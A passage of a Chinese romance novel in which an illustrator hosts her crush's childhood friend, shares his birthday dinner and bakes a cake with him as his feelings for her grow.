女生看了眼手机,苦着脸抱怨了一句:“刘阿姨让我过来找时澹哥一起吃饭,也不告诉我他今天要不要加班,我等的腿都酸了。”
“……”乔星若是不太喜欢陌生人进入她的领域的,原本想简单打完招呼后便进屋了,可视线无意扫到女生脚下的高跟鞋,让她有点于心不忍。
斟酌片刻,乔星若小声提议:“那个,他经常加班的,这几天刚上班估计案子也多……你要不要过来我这边坐会儿等他?”
“可以吗可以吗?”女生眼睛亮了,小碎步走到她跟前,“那打扰啦人美心善的小姐姐~”
这热情的态度搞得乔星若有些不适应:“……没事的。”
女生跟着乔星若换鞋进屋,后者招呼她到客厅坐,找了一次性杯子给她倒水。
“小姐姐你家好温馨呀,你是一个人住吗?”
“……是的。”
“你的猫猫好可爱呀~”
“嗯,谢谢。”
“你长得好漂亮呀,你叫什么名字?”
“……乔星若。”
乔星若感受到了e人入室抢劫般的热暴力。
“……”
“好好听。我叫梁知意,桥梁的梁,知道的知,意思的意。我是时澹哥同事的妹妹,今年大四正在实习,你看着也像大学生呢,你毕业了吗?”
“我毕业两年了。”
“啊,这样。那我可以喊你星若姐吗?”
“可以的。”
梁知意继续好奇:“星若姐,你跟时澹哥熟吗?你觉得他人怎么样?”
乔星若:“熟不熟……你得问他,我也不知道。他人挺好的。”
“唔,那你觉得我跟他般配吗?”梁知意眼睛依然亮亮的,俏皮地歪了下脑袋,像懵懂天真的小公主。
乔星若懵了一瞬,看着眼前明媚阳光的女孩子,不知该回答什么。
不是出于私心,好吧也有一点点私心,她觉得自己不能给肯定的答案。
毕竟她不知道陈时澹的想法,贸然为了哄梁知意开心而给了这个答案,好像不太尊重他。
乔星若酝酿了一下,委婉道:“嗯……你们都是很好的人,但感情这个事情,我觉得除了你的想法,还要看他怎么想。”
梁知意没听到满意的答案也不生气,笑容甜甜的:“我们算是青梅竹马吧,我和我哥哥,还有时澹哥是从小一起长大的。我妈妈和刘阿姨关系很好,小时候经常说要给我和时澹哥定娃娃亲。”
乔星若认真想了一下,有些疑惑。
那为什么去年乔咪咪绝育那天偶遇刘夕梅一起吃饭,后者催婚架势这么骇人?
梁知意看出来她不太相信,清咳一声:“好吧是因为他长的太好看了,我就缠着要嫁给他,大人们觉得好玩,所以开了这个玩笑。”
“但是今天真的是刘阿姨让我过来的啊,前两天我去她家里做客,她说时澹哥生日快到了,让我过来陪他过生日,说他做的饭好吃,让他给我露一手。”
乔星若没再说话,心里有些失落。
蛋糕肯定是做不成了,毕竟梁知意已经带了生日蛋糕过来。
梁知意的手机震动了一下,她打开看了一眼,语气兴奋道:“时澹哥给我回消息啦。”
32. 画册
梁知意点开语音条,陈时澹的声音在室内传了出来:“我妈让你过来了?她和你一起过来吗?”
梁知意按住语音键,诚实地说:“没,就我自己。阿姨说你老不着家,她看你心烦,就不过来了。”
几秒后,陈时澹回复:“行,我估计还有二十来分钟到家。”
“好,我在你邻居小姐姐家里等着啦。”
乔星若没听到后面的内容,可能是陈时澹改成用文字回复了。
梁知意没再看手机,转而看向茶几上的画册,好奇问:“星若姐你平时会画画呀?我可以看看吗?”
乔星若犹豫了一下,轻轻点了下头。
梁知意得到主人的准许后,拿起画册打开,一页一页翻看。
“好漂亮哦,星若姐你真厉害,是专业学过的吗?”
乔星若有些不好意思:“算是吧,小时候喜欢二次元,画了很多年了。然后……因为是美术生,有速写功底。”
“真的很厉害,我身边学画画的最厉害的是时澹哥,但是我感觉你的画技不比他差呢。”
拿她跟读书时期的画神比,乔星若的第一反应是何德何能。她尴尬笑笑:“没有,他画的比较好。”
“就是不知道为什么,我感觉你的画风给人一种很忧郁的感觉呢,就是……”梁知意思索了两秒,“感觉心境不太宁静,很难过……”
乔星若顿了一下,一时哑然。
前面那些画创作的时期,正好是她心理问题比较严重的时候,每一幅都显现了她对应时间的心境。
“emmm也有可能是因为我不太懂乱说的,不是说你画的不好。”梁知意虽然大大咧咧的,但也及时注意到了乔星若情绪不太对。
乔星若抿唇笑了笑:“没有,你能看出这些,很厉害。”
“……”
她们后面没再聊什么,梁知意百无聊赖翻看着画册,很快翻到了后面。
忽然在其中一页顿住。
这一幅的画风温馨日常,是一个男人下厨的背影。
笔触干净利落,将男人优越的身型完美勾勒出来,每一处褶皱都简明而生动。
嗯,总之帅的很有张力。
速写水平到一定程度的人,是可以寥寥几笔就把一个人物的神韵和动态勾勒出来的。
乔星若读书那会儿美术三大类中最擅长的就是速写,况且画了这么多年的动漫人体,画一个陈时澹对于她来说跟吃药一样简单。
所以梁知意也不难察觉到,画里的主角有点眼熟。
梁知意有话也不藏着:“星若姐,我怎么感觉这个有点像时澹哥?”
“!”乔星若凑过去看了一眼,瞳孔地震。
完了,忘记这本画册上还有这幅画了!
半晌,乔星若心虚否认:“……不是他。”
“是吗?”梁知意往厨房的方向瞅了一眼,“画里的厨房布局跟你家的好像哦。”
乔星若的眼神飘忽,干巴巴扯着谎:“是我一个……朋友,他来过我这,我就……随便画的。”
和男性朋友共处一室,再看乔星若这反应,脸还红红的,梁知意瞬间懂了。
梁知意还想说什么,这时门铃突然响起。
“我去开门!”乔星若暗自松了口气,连忙起身往玄关处走。
门外有两个人,看到其中一个是陈时澹,乔星若将门打开。
另一个是之前见过的梁队,梁知恒。
梁知恒跟她打了个招呼:“你好啊,又见面了。”
乔星若礼貌性点头:“……你好。”
梁知恒:“小意是不是在你这待着啊?给你添麻烦了,她这人比较大大咧咧的,可能会吓到你。”
“不会……你们要进来吗?”乔星若往旁边侧了下身。
“不用,我们准备去阿澹家蹭饭,你也一起吧?”
正好梁知意听到声音也过来了。她像个藏不住心思的小女生,第一眼只看到了门口的陈时澹。
“时澹哥,生日快乐!”梁知意雀跃地朝陈时澹走近,想给他一个大大的熊抱。
“谢谢小妹。”陈时澹不动声色躲开,绕到梁知恒另一边身侧,“好久不见了,你回海城实习?”
“对啊,年底回来的,我前两天去你家都没看到你。”扑了空的梁知意不满嘟囔,“不是都说你们学艺术的思想比较开放嘛,抱一下都不行,小气……”
“那天我正好值班。”陈时澹轻咳一声,只解释了前面一句。
梁知恒笑着给了自家妹妹一指蹦:“那你怎么不抱我,亲哥比不上干哥是吧?”
梁知意吐吐舌:“什么干哥,我可没跟时澹哥拜把子……”
梁知恒挑了挑眉:“但我跟阿澹拜了呀,于情于理我亲妹等于他亲妹。”
“可是刘阿姨只让我过来了,你过来干嘛?”
“你以为我想?你这位哥硬拉着我过来的呗。我都不想说了,都多大人了过个生日自己偷偷过得了呗,还非要我过来,老一岁很光荣是不?”
“……”
没理会兄妹俩的贫嘴,陈时澹目光落在乔星若脸上:“你吃晚饭没?”
乔星若:“还没。”
“那要不要过去跟我们一起?”
乔星若想起自己做的那几个菜,犹豫着问:“我做了晚饭,做了挺多的,你们要不要……在我这吃?”
“也行。”
梁知恒:“那打扰了哈。”
几人换鞋进屋,乔星若带他们到饭厅。
“呃,菜是两个多小时之前做的,可能已经冷了,我去热一下……”
“我来吧。”陈时澹端起两盘菜进厨房。
乔星若把剩下的端进去,没有执着:“那我盛饭。”
“嗯。”
陈时澹将菜重新倒回锅里翻炒。两人配合着,很快便又将几盘冒着热气的菜端出去。
梁知意:“星若姐,你厨艺好好呀。”
乔星若谦虚道:“没有,就是小时候家里经常没人,我自己得会做饭。”
陈时澹听到这话,握筷子的手顿了顿,偏头看了她一眼。
乔星若神色平常,似乎不觉得有什么。
她好像总是一个人。
他的脑海里莫名冒出了这句话。
梁知意“啊”了一声:“那你好自由哎,一个人在家想做什么就做什么,又没人管。不像我哥老管我,这不让干那不让干,我爸妈也是,一点都不自由,所以我大学才考到外省去啦。”
梁知恒无情吐槽:“也不知道是谁哦,大学三年多,一打电话回来就哭着说想家。”
乔星若笑了笑,垂下眼帘,遮住了眸底的艳羡。
吃完饭后,梁知意从蛋糕盒里取出了蛋糕。
“时澹哥,这是
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我特意为你挑选的蛋糕!”
陈时澹看着蛋糕上的简笔头像,表情一言难尽:“这是我?”
梁知恒毫不留情笑了。
“哎呀我给他们的图不是这样的,这家蛋糕店以后避雷了。”梁知意拆开蜡烛包装,问乔星若,“星若姐,你家里有打火机吗?”
乔星若摇头。
梁知恒从口袋里掏出一个打火机递过去:“喏。”
梁知意接过来,瞪了他一眼:“你又抽烟,回家让爸妈揍你。”
“哎,局里天天一堆事,抽点烟缓解一些压力不是很正常?”梁知恒啧了一声,“再说我烟瘾又不大,天天抽都没见上瘾。”
“那时澹哥怎么不抽?”
“但他糖瘾重啊。”
梁知意懒得理自家亲哥了,点好蜡烛催促陈时澹闭眼许愿。
陈时澹最烦这种啥用没有的固定仪式,感觉自己在这几个人面前闭眼做祈祷动作很傻气。
“行了就这样吧,赶紧吃吃完走。”陈时澹一口吹灭了蜡烛,拿起桌上的刀切蛋糕。
梁知意撇撇嘴:“我宣布你是一个无聊的大人。”
“是比不得你啊,有趣的小人。”陈时澹切下第一块递给了乔星若。
乔星若愣了一下,没想到他会先给自己。
蛋糕是梁知意带过来的,于情于理应该先分给她吧。
乔星若接过来后有点不好意思,便递给了旁边的梁知意。
梁知意比较想要陈时澹亲自给的,大度推脱回给她:“没事啊星若姐,你吃这块吧。”
乔星若又换了个方向递给另一个人。
梁知恒也没接,摊了下手:“女士优先嘛。”
陈时澹瞧她那样儿,挑了挑眉:“怎么,我切的蛋糕有毒?”
乔星若:“……”
哦。
太礼貌也是错。
总有一天她会尖酸刻薄地活一次的!
乔星若没再客气,用上面的叉子挖了一勺蛋糕塞进口中。
因为太用力咬到了口腔壁侧的息肉,半个腮帮都在发麻。
乔星若:“…………”
痛苦面具。
陈时澹的注意力还没从她这里收回来,见她这个模样不像装的,觉得有些意外:“真有毒啊?”
另外两人也看了过来。
“怎么了?”
“……没事,我就是……不小心咬到自己了。”乔星若背过身调整表情,感觉自己要碎掉了。
这个蛋糕吃得有点绝望,偏偏她还不能找借口走人,毕竟这是在她家。
好不容易熬到结束,乔星若和陈时澹在电梯门口跟梁家兄妹俩道别。
电梯门关上后,乔星若跟陈时澹挥了挥手:“师哥生日快乐呀,那没什么事我就先回去了……”
她说着转身往屋里走。
可没走两步便被人牵住了外套后面的帽子,她的脚步动弹不得,只好疑惑回头。
陈时澹跟上来,离她近了些,语气慢悠悠道:“乔师妹是不是忘了什么?”
当然记得……这事都苦恼她一上午了。
上次出糗也是在这个过道里,乔星若感觉自己对这人的气息都有点应激反应了。
她的眼神飘忽着,没敢抬头看他。
气氛僵持片刻,乔星若小声解释:“我没忘……但是你都有蛋糕了呀。”
33. 腹肌
“我有没有,和你送不送,好像是两回事儿?”陈时澹轻笑一声,“所以你是要言而无信?”
激将法对乔星若这种死要面子的人永远有用,她梗着脖子狡辩:“当然没有!”
这一抬头,便对上了陈时澹似笑非笑的弯眸。
“……那你进来吧。”乔星若径自走进屋里,像个扭了发条的小僵尸一样,就差跑起来了。
材料她早就准备好了,放在厨房的储物柜里,现在一股脑拿出来。
陈时澹看着她一应俱全的材料,勾了下唇。
“可以,居然没打算敷衍我。”
“……”狗眼看人低。
穿着外套下厨不方便,乔星若脱下来搁到旁边的椅子上,
陈时澹也脱了外套,露出里面的白色底衫,以及领口和手腕处的膏药。
乔星若目光一顿,当即了然。
常年画画的人肩周、脊椎、手腕多多少少都有点问题。
她之前有段时间排单爆满,除了吃饭睡觉都在画画,手腕特别疼,也听了网上的建议买了膏药来贴。
但不知道是不是买到风大的假货了,感觉没什么效果。
乔星若好奇问了句:“师哥,你这膏药什么牌子的,好用吗?”
“还行吧,有点效果,同事推荐的。”陈时澹说了个牌子。
乔星若用便签记下,想着到时候买回来试试。
陈时澹睨了一眼她的字迹:“我那边还有,可以给你一盒试试。这得看人恢复能力的,不太影响正常生活的贴膏药还行,如果是实在太严重的话,建议去医院看看。”
乔星若写完之后盖好笔帽,若有所思地点点头:“我还好其实,就是工作强度高的话会疼,休息一阵之后又没那么疼了。”
“那你平时自己注意点吧。”
“……”
刚才几人吃完的餐盘碗筷还在桌上,乔星若随手将它们叠在一起,随口问了句:“师哥,你真的还吃得下吗?”
“你怎么就考虑这个问题了?”陈时澹夺过她手里的餐盘碗筷,转身进了厨房。
“嗯?”乔星若没听懂他的意思。
陈时澹拧开水龙头,回头瞥了她一眼:“你忘了你上次做的饼干了?该考虑的难道不是能不能吃吗?”
乔星若沉默两秒:“……师哥,你怎么过个年回来攻击力强了这么多?”
陈时澹理所当然道:“因为回家当了几天孙子啊。”
乔星若回想了一下刘夕梅埋汰陈时澹的模样,瞬间理解了。
好吧,他生日就让让他吧。
而且寿星还帮忙洗碗,那还计较什么呢。
陈时澹仿佛能看穿乔星若的心思:“别偷懒,我洗碗的时间是留给你看做蛋糕的教程的。”
乔星若“哦”了一声,坐在饭桌旁边打开手机的小破站,搜索做蛋糕教程。
之前的那个做小饼干的美食up主人气很高,乔星若后面好几次学习烘焙都是看他的视频教程。
所以在搜索出来的界面中又看到了那个熟悉的头像,乔星若不假思索点了进去。
这位up主虽然不露脸,但露出来的手很好看,白皙的手骨节分明,堪比手模。
学没学会先不说,起码眼睛看舒服了。
声音也好听。
乔星若看视频很容易沉迷,旁边站了人都没注意到。
乔星若认真看了两遍。up主小哥哥叽里咕噜说了一堆,她一句没听清,只顾着看上面的弹幕了。
因为up主这个视频里有几个露出上半身的镜头,宽肩窄腰,白色的紧身衣将身材勾勒出来。
胸膛前的腹肌若隐若现,密密麻麻的弹幕吻了上来,全是在无声尖叫喊“老公”的。
简直……人之常情。
年轻气盛的谁不爱看帅哥美女。
乔星若作为画过某些图的大大,也算是经验丰富了,脑子根据衣服勾勒出的线条自动生成画面。
一键三连后,“敲了才醒惹”发评:小哥哥应该有六块腹肌。
陈时澹:“……”
他没有偷窥的癖好。
他只是过来,想看一下她要做什么蛋糕。
而已。
“所以你会做了吗?”
陈时澹的声音在耳边幽幽响起,给乔星若吓了一跳。
“你怎么……”怎么像鬼一样出现了??
乔星若才刚发了自认为不符合自己现实中人设的发言,有点心虚咽了咽口水。
然而是她多虑了。
在陈时澹那里,她可谓相当符合人设了。
陈时澹环臂垂眸,哼笑一声:“不做亏心事,不怕鬼敲门。”
乔星若抱着手机,轻眨了下眼:“我没做亏心事,我只是对一个人做了一点……客观事实的分析。”
陈时澹满脸的“我就静静看你演”。
“……”
两人对峙片刻。
“那咋了那咋了,我又没犯法!”乔星若心理素质极差,对峙不过他便率先别开了脸,玩梗耍无赖。
她弓着身子离开椅子,小跑进厨房。
“……我去洗手!”
陈时澹看着她落荒而逃的背影,短促的气息从鼻间溢出。
小学生吧?还“那咋了”。
过年那几天在家里,天天听陈时云和她的那些小伙伴们玩网络梗,一天能听几百遍这句话,一群小学生跟没开智一样。
听得手痒想打人。
但现在听到乔星若说这种话,倒也没那么烦人。
反正处于被动状态的又不是他。
乔星若洗完手擦干出来,手机上还在播放那个up主的视频。
因为洗了手不好拉进度条,乔星若下意识问旁边脑子自带答案的人。
“第一步要做什么来着?”
陈时澹意有所指:“你不是看了两遍?”
“……我记忆七秒。”乔星若觉得自己也没说错,她这几年的记忆就是不好。
“没看出来你属鱼的。”陈时澹语调上扬了点,“先做蛋糕糊。”
“蛋清分离,蛋黄跟玉米油、面粉、牛奶混在一起搅拌……”陈时澹说着习惯性上手了,倒完面粉后发现乔星若又被那个视频吸引了过去。
“……”他这是在自己给自己做蛋糕吗?
乔星若看着弹幕傻乐着,忽然被旁边的一声咳嗽拉回现实。
陈时澹正好瞥见她手机屏幕上的那个up主的一个上半身镜头,以及一堆过于不见外的弹幕,心里莫名烦躁。
“你要不换个up主教程?”
乔星若不太情愿:“我经常看这个up主的美食教程,看习惯了。”
陈时澹无语:“上次那个饼干也是?”
“对啊。”<
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“不是翻车了么,为什么还看他的?”
乔星若语气诚恳,透着不加掩饰的肤浅:“手好看,声好听,成男有腹肌。”
陈时澹:“……我们讨论这些真的好吗?”这是真不把他当外人,再多说两句可以称姐道妹了吧?
“……好像,不太好。”乔星若清了清嗓子,差点忘了这是她crush了。
“事实证明没有用,你还不如看我的,听我的。”陈时澹懒得跟她扯了,侧着身伸手去关掉她的手机。
因为离得太近,乔星若的额头贴到了他的肩膀。
现在刚开春,海城的天气还没回温。每天冷冽的空气里,乔星若从头到脚都是低温的。
而同于一片天地的陈时澹却跟她完全不同,整个人跟个热水袋一样,仅仅是隔着衣服贴着,也能感觉到温热的体感和气息铺天盖朝她传递过来。
莫名的,脸热。
能看出来陈时澹很想教会乔星若做这个蛋糕,边做边给她讲解。
比帅哥视频讲解更动人心的是crush现场讲解啊!
同样手好看,声好听,成男……咳最后这句可忽略,她怎么会是这种肤浅的人。
……好吧她是。
她好像还摸过来着。
清冷低沉的声音萦绕在耳边,稍稍离得近一点就能把乔星若勾的脸红耳赤。
偏偏陈时澹真的就是在认真教她做蛋糕……
陈时澹往蛋清里加白砂糖和柠檬汁打发,倒进面糊里翻拌均匀。把蛋糕糊倒入模具,放进提前预热的烤箱。
烤蛋糕胚期间,他用了外面买的蓝莓酱打发奶油,放进冰箱冷藏备用。
做完这些后,陈时澹看了眼手机上的时间:“好了,你看着时间吧,我回隔壁洗个澡再过来。”
乔星若点点头,送他到门口后把门关上,背对着门拍了拍脸。
“不行不行,我得洗一下脑子……”
乔星若觉得自己什么都不做不太好,便到厨房切做蛋糕夹心用的水果,中途偷吃了好几块。
切完之后庆幸自己清楚自己是什么德行,特意多买了一些。
乔星若把果切放进冰箱里,到客厅等陈时澹。
陈时澹很快便回来了,玄关门响起,乔星若过去开门。
没想到她开门这么快,陈时澹站在过道随手撩起衣摆擦脸,还没来得及放下,形状清晰的腹肌这么暴露在外。
他看到门被人从里面打开,手中的动作顿住。
“!”
乔星若的视线一下子挪开,红着脸不知道该看哪。
天杀的,怎么会有人站在她家门口勾引她!
刚洗完的人香香的,陈时澹还洗了头,看得出来擦的不太用心,头发有些凌乱,但不影响帅气。
立体的五官上还挂着未干的水滴,其中一颗顺着硬朗的下颚线滴落,没入地板。
即便是不看门口的人,沐浴露和洗发水的味道依然难以忽视,很快充斥了玄关处的空间。
陈时澹喉结滚动了一下,放下衣摆:“可以了。”
“……好的。”乔星若将脑袋转回来,因为不太敢面对他,视线依然偏下,正好落在他深灰色的裤子上。
视线低得更下了,脸就差埋进胸口里。
自己的眼睛接连两次被措不及防烫到,表示很受罪。
快被烫死了。
34. 喜欢
“你打算就一直在这站着?”陈时澹神情不太自然,但依然强装着淡定。
他的皮肤白,乔星若此时如果没那么怂,敢抬头看一眼的话,很轻易便可以看出他耳根延至脖子的那抹红。
乔星若连忙转身进屋,陈时澹走在后面,依着她的习惯把门锁上了。
气氛变得沉默怪异,比刚才她看帅哥被抓包还奇怪。
乔星若如坐针毡地坐在客厅沙发上,紧张听着陈时澹的动静。
陈时澹走过来把手里的东西放在茶几上,便转身进了厨房,倚在放置烤箱的橱柜旁边玩手机。
乔星若拿起那盒东西端详,发现是膏药贴。
以为他随口说的,还真的要给她啊。
两人就这么一直尴尬到蛋糕胚烤制好。陈时澹打开烤箱,用手套将蛋糕胚取出来。
乔星若也听到了声音,知道自己躲不过面对他的,深吸了口气迅速调整好,起身走了过去。
陈时澹从冰箱里拿出奶油和加水果夹心,将蛋糕胚横切成三片。用刀挖了一大块奶油抹到底片上,给夹心层加了水果、奥利奥碎,抹平。
连接弄了两个夹心层,给蛋糕胚外面也抹了奶油。
陈时澹的手法很娴熟利落,他没有用那种专门刮奶油的刮片,一把刀贯彻了全程,赏心悦目。
大概是因为刚才的事情,他讲解的话也少了一些。
“现在是不是可以裱花装饰了?”乔星若看了眼她网购的那些烘焙工具,各种各样的裱花嘴,不知道哪种对应能裱出什么花样,“要用哪个?”
陈时澹一只手臂懒散撑在桌上,侧身睨了她一眼:“你不觉得,你自己没什么参与感么?”
乔星若心虚狡辩:“……水果是我切的。”
“你说要给我做蛋糕,没说要给我切水果。”陈时澹挖了点奶油到一个小碗里,加了包竹炭粉进去,拌匀后装进裱花袋里。
“不用装裱花嘴吗?”乔星若转移话题。
“装也行,不装的话就是简单的线条,可以画画。”
“画画我会啊,那我来吧。”乔星若终于又找了自己能做的事情,兴致勃勃道,“你想要什么图案?”
陈时澹不太在意:“你随意发挥吧。”
乔星若想了一下,想起陈时澹今晚对那个蛋糕店老板画的他不太满意,觉得自己可以尝试画一个q版形象的他。
调色对她来说也不是难事,头发颜色选择用豆蝶花粉和紫薯粉调,边画边加,做出了渐变效果。
q版的衣服比较简单,只用了白色。最后用陈时澹刚才调的黑色奶油勾线。
有环境色的影响,发色和瞳色跟现实的不太一样,但陈时澹还是看出来了,眸里浮现出一抹笑意。
“这是我?”
“对呀。”
乔星若怕自己手不稳,所以一只手扶另一只拿裱花袋的手,弓着身体凑近蛋糕。
她画画时的神情很专注,冷白的光照在她无暇柔和的脸上,琉璃般的眼睛水润透彻,时不时轻眨一下。
睫毛同最柔软的鸦羽,无意识颤动着。
陈时澹盯着乔星若的侧颜,身体某个位置莫名一震。
他听力一向好,此时却对自己的听力产生了怀疑。
那个地方跳动的频率变快,存在感越来越强。
画完最后一笔,周围用装了裱花嘴的奶油装饰一圈,整个蛋糕便算是制作完成了。
乔星若直起身观赏,表示很满意。
蛋糕卖相很好,跟外面买的不相上下。
乔星若仰头看旁边的人,一脸期待:“师哥,你觉得画的怎么样?”
“……”在她蓦然抬眸与他对视时,他措不及防怔住,指腹无意识攥紧了桌沿。
很漂亮的眼睛。
太奇怪了。
怎么会这么漂亮。
他垂下眸,平静的语气里带了妥协的意味。
“嗯,很漂亮。”
只是这样对视一眼,溃不成军。
“……”
—
陈时澹觉得自己的想法很荒谬。
还真给这人连摸带抱出感情了。
他怎么会喜欢这种女流氓?
但她不是一般的女流氓。
心里的另一个声音说。
她是一个善良心软,会养猫有责任心,很会给人情绪价值,做事情很认真负责,性格软但也很坚强独立,画画很厉害……
反正优点一大堆数不清,还长得好看的——
女流氓。
而且她馋自己的身体,就现在这个情况来说,似乎也不是坏事?
但她还馋别人的。
陈时澹想起刚才她看的视频。
主打一个无差别馋每一个身材好的男人。
陈时澹心里不由升起烦躁,啧了一声。
“?”乔星若的脸上出现一个问号。
她转头看向蛋糕,开始怀疑自己的技术。
很差吗?
真的很差吗……
听他刚才夸的时候就勉为其难的,现在又皱着眉一副很烦躁的样子。
乔星若感觉自己有亿点碎了,低头咬了下唇。
现在再看这个蛋糕上面的Q版头像,好像也没那么满意了。
很可能是刚创作完的光环效应,她对自己刚画好的图有滤镜,但旁观者清。
“那还是你自己来吧……”乔星若叹了口气,拿起蛋糕旁边的刀,想把蛋糕上面的奶油刮掉。
陈时澹意识到她要做什么,瞳孔震缩了一瞬,来不及多想便扯住了她的手腕。
“等等——”
乔星若的手覆上一片温热,懵了一下,顿时不敢动了。
陈时澹很快反应过来这个动作很冒昧,立即收回了手,不自在地揉了揉脖颈。
“为什么要刮掉?”
“你不是觉得不好看吗?”乔星若不解地歪了下脑袋,“你的蛋糕,总得让你满意吧……”
“我没有觉得不好看,也没有不满意。”陈时澹舔了下唇,神情有些僵硬。
“……我很喜欢。”
乔星若很好哄,心情瞬间变得晴朗:“真的吗?”
陈时澹郑重其事点了下头:“真的。”
“那就好。”乔星若心里松了口气。
也不知道自己是什么心理,为别人做什么或者别人找她帮忙时,她都会对自己的要求特别高。对方满意了才算完成得好,要不然会特别愧疚,一直因为这个事情内耗很久。
就说现在这个事情,如果陈时澹真的承认了他不满意,那她今晚可能得一直想这个事情,都睡不着觉。
乔星若先前准备的东西很齐全,连蛋糕盒都准备好了。
她小心翼翼盖好蛋糕,在盖子上打了个蝴蝶结。
“你拿回去放冰箱吧,明天可以和同事一起吃。”
陈时澹听到这话,心里不爽。
他们一起做的,她居然让他和同事一起吃。
但看乔星若那么开心,陈时澹没说什么,沉默接过蛋糕。
两人一起走到客厅,快到门口时,乔星若随口问了句:“师哥,还有一个小
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时今天就过完了,你真的没有生日愿望吗?”
她语调上扬,半是认真半是玩笑道:“你想一下有没有什么想要的,说不定我可以帮你呀。”
陈时澹本想说没有,但听到最后一句,他沉默了几秒,还真顺着乔星若的话思索了一下。
想要什么确实没想到。
但却莫名想到了她今晚说的那句“没有,就是小时候家里经常没人,我自己得会做饭”。
真的自由吗?
更多的应该是孤独吧。
又记起当年初见,乔星若跟他抽抽噎噎地倒了一堆苦水,其中还有一句“我跟着画室过来总部这边集训,可我没有朋友,没有能真心说话的”。
陈时澹有点后悔了。
他后悔当初问乔星若需不需要加个联系方式时,被她拒绝的时候没有坚持一点。
如果当时加了好友,她可以多个能说话的人,他也能问问她后面的集训生活状况,有没有钱吃饭,够不够钱买画材。
他真的觉得送点画材没什么,毕竟她自己一个人过来这边,离家千里,能帮则帮。
况且这种事情他也不是第一次做,不差她这回了。
当初跟他同届的一个同学家境不算好,发现有些有钱人家的孩子喜欢用长的碳笔,很多剩一小截就扔了,就经常捡那些人的笔头用接笔器接起来用。
集训期间也拼了命地省钱,颜料舍不得多沾,别人问起就说自己色弱。
陈时澹发现后,每次炭笔用一半就扔地上了,白颜料故意沾了其他颜料搅和搅和,也作势要扔。
那个同学就坐旁边,看到后觉得可惜,问陈时澹能不能给他。
刘夕梅逢哪个准备送孩子学美术的家庭就劝认真考虑,她家的送去学光画材费一个月就四位数起。
所以陈时澹在画室出名不是没道理的,别人听到他的名字立即恍然大悟:“哦,那个挥霍任性的天才少爷。”听着阴阳怪气的。
“师哥?”乔星若注意到他走神,叫了他一声。
陈时澹回过神,下意识低声说:“希望,你别总是一个人。”
“什么?”乔星若愣了一下,不是没听清,是不太明白他为什么这么说。
大概是她盯着自己的目光太直白灼热,陈时澹有种被盯穿了心思的感觉。
处于极其被动的情况下,他耳根泛红,但仍绷着脸伪装成平常的模样:“希望你赶紧找个男朋友,不然我跟你待在一块怪害怕的,行了吧?”
都多余了。
乔星若还以为他看出来自己人缘差了呢,原来不是。
她松了口气,敷衍回答:“好的好的,我明天就在相亲网上投资料,有消息了会通知你的。”
陈时澹的脸色更差了。
“我们局里去年有个案子,其中一个受害者的男朋友就是在相亲网认识的,结果人骗得她倾家荡产,卷钱跑了。”
乔星若瞪大眼睛:“骗钱?!”
财迷如她,这个是真不能忍,跟要命有什么区别。
乔星若小声嘟哝:“那还是算了,我的钱少少的,命贵贵的……”能不贵嘛,光是看病吃药都花了几十万块了。
命本贱,但被许敏和自己用钱财裹了一层又一层,搞的她现在可惜命了。
听到满意的答案,陈时澹唇角勾起了点弧度。
“乔星若。”
他轻声念她的名字。
在寂静的环境中,语气里含着似有若无的缱绻。
“嗯?”
“以后喊我名字。”
“……”
35. 安安
陈时澹垂眸看着她毛茸茸的发顶,手有点痒。
“为什么?”乔星若觉得喊“师哥”习惯了,贸然要改口很别扭。
陈时澹淡然道:“因为师哥听着显得我比你大很多,攻击到我年龄了,我不爽。”
“???”乔星若一脸问号。
年到二七的第一天,就开始对自己的年龄焦虑了?
陈时澹收回目光,拉开自己那边的门。
“晚安。”
乔星若下意识回了句“安安”。
这是她从小到大和许敏的睡前话术,几乎是脱口而出,反应过来时已经晚了。
乔星若心里咯噔一下。
好像……有点太亲昵了。
他不会觉得自己说叠词很像绿茶吧?
陈时澹的动作顿了一下,面色如常进了屋。
乔星若呆呆在门口站了一会儿,直到过道的声控灯灭了才缓过来,进屋将门锁好,掌心停在自己的心脏位置。
扑通扑通。
还有加速的趋势。
怎么可以这样……
乔星若很难形容这种感觉,也是第一次对异性说这种话。
有想法和真的做了什么总归是两回事。
怕他看出来,又怕他看不出来。
乔星若的脑海里不受控制想起,刚才陈时澹喊自己的那声名字。
全名,没什么特别之处,他平时也是那么喊的。可……好像又有哪里不太一样?
是错觉吗?
他还让自己以后喊他的名字……
“陈时澹……”乔星若下意识呢喃了一声。
反应过来后,她用手背捂住唇,整张脸和耳廓都烫烫的,脑子里炸开了五彩斑斓的烟花。
米谰之前说的,或许是对的?
陈时澹对她,也许真的……有感觉?
这个想法冒出的下一秒,乔星若又想到陈时澹刚才说的,希望她赶紧找个男朋友。
那点雀跃的小火苗很快熄灭。
可能是她太自作多情了。
他那么耀眼的人,从小到大什么样的女生没见过,还有梁知意那种明媚阳光的女孩子陪着一起长大,怎么可能看得到她这么平平无奇的人。
“……”
另一边。
陈时澹进屋后的第一件事,就是拿出手机搜索。
——女生说叠词是在撒娇吗?
看到第一个答案:不一定。
什么破答案。
陈时澹啧了一声,后面一堆叽里咕噜的没看下去,直接熄了屏幕。
要追吗?
陈时澹上学那会儿属于情窍被用水泥浆封住的那种,整天跟梁知恒还有画室的那几个痞小子待在一起,生活除了画画就是打游戏、打球,对其他的什么都没兴趣。
十几年如一日。
如果一定要他喜欢一个人,喜欢上自己画出来的人头像的可能性更大一点。
但现在好像不一样了。
乔星若跟所有人都不一样。
甚至遇见的方式给他的感觉都和别人不同。
她平时看着乐观坚强,可他没忘记她的心理问题。
陈时澹也能看出来,乔星若的性格虽然软,平常跟谁都一副随和好相处的模样,但并不代表她愿意让别人走进她的世界里。
她已经很累了。
把握不准程度的示好或许会起反作用,给她造成负担,引起她默不作声的抗拒和远离。
但是,来日方长。
—
过完十五,山河画室也开春季课了,新一年新气象,春意盎然。
乔星若和另外两合伙人提前到画室整理好教室,打扫消毒,准备好给小朋友和准备中考的大朋友们的礼物。
欧辞钦家是本地的,放假前把绿植全拿回家养了,现在又搬了过来。
欧辞钦把车停在画室门口,下车后绕到后面打开后备箱:“这些原先放哪的?我还薅了我爷奶养的几盆过来,有些老值钱了,差点被打死。”
乔星若笑了笑,过来帮忙。
其中一盆挤在角落里,她一眼就看到且认出来了,是天鹅绒花。
乔星若有些惊喜,俯身小心翼翼地把花盆捧在怀里:“这盆放我位置吧,我会养。”
欧辞钦没意见:“可以啊,看上哪个拿走就行。”
三人把绿植全部搬进画室的各个角落,准备工作算是做好了。
临近饭点,江嘉明问要不要一起吃个饭。
